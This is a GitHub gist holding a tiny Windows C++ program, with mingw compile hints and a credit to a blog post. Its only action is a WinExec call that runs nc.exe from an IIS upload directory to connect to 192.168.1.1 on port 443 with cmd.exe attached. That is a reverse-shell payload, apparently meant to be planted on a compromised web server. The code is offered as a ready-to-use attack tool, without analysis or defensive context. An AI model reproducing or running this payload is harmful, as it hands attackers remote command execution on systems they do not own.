Created
March 9, 2021 08:58
-
-
Save tanaka-geek/d07dd3b220434aeda21fa78d53057dc3 to your computer and use it in GitHub Desktop.
Compile with
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
/* | |
x86_64-w64-ming32-g++ | |
i686-w64-mingw32-g++ | |
*/ | |
int main() | |
{ | |
WinExec("C:\\inetpub\\wwwroot\\uploaded\\nc.exe 192.168.1.1 443 -e cmd.exe", SW_SHOWNORMAL); | |
return 0; | |
} | |
//原文:https://blog.csdn.net/Simon798/article/details/104076858 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment